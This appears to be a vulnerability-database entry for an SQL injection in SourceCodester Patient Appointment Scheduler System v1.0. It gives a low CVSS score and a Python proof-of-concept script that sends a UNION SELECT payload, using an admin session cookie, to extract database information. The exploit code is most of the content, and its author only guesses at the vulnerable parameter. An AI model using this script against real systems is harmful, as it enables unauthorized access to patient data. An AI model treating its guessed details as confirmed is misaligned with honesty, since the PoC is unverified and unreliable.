SourceCodester Patient Appointment Scheduler System v1.0 is vulnerable to SQL Injection in the file /scheduler/admin/appointments/manage_appointment.php.
CVSS Details
CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
SourceCodester Patient Appointment Scheduler System v1.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Exploit Title: SourceCodester Patient Appointment Scheduler System v1.0 - SQL Injection
# Date: 2026-04-14
# Exploit Author: Analyst
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14976/patient-appointment-scheduler-system-using-phpmysql-source-code.html
# Version: v1.0
# Tested on: Ubuntu/Apache
def exploit_sqli(target_url, session_cookie):
"""
Exploits SQL Injection in manage_appointment.php.
Requires High Privileges (Admin).
"""
# The vulnerable endpoint
endpoint = "/scheduler/admin/appointments/manage_appointment.php"
# Example payload to extract MySQL version
# Assuming the vulnerable parameter is 'id' (common in listing pages)
# Adjust parameter name based on actual request interception
payload = {
"id": "1 UNION SELECT 1,2,version(),4,5,6,7,8-- -"
}
# Headers to simulate a browser
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}
# Cookies for authentication (PR:H requirement)
cookies = {
"PHPSESSID": session_cookie
}
try:
response = requests.get(target_url + endpoint, params=payload, headers=headers, cookies=cookies, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully.")
print("[+] Response Content:")
print(response.text)
# Analyze response to confirm data extraction
if "mysql" in response.text.lower() or response.text.startswith("5.") or response.text.startswith("8."):
print("[!] SQL Injection successful. Database version detected.")
else:
print("[-] Injection may have failed or output not visible in HTML.")
else:
print(f"[-] Server returned status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Replace with actual target and admin session ID
target = "http://localhost"
admin_session = "your_admin_session_id_here"
exploit_sqli(target, admin_session)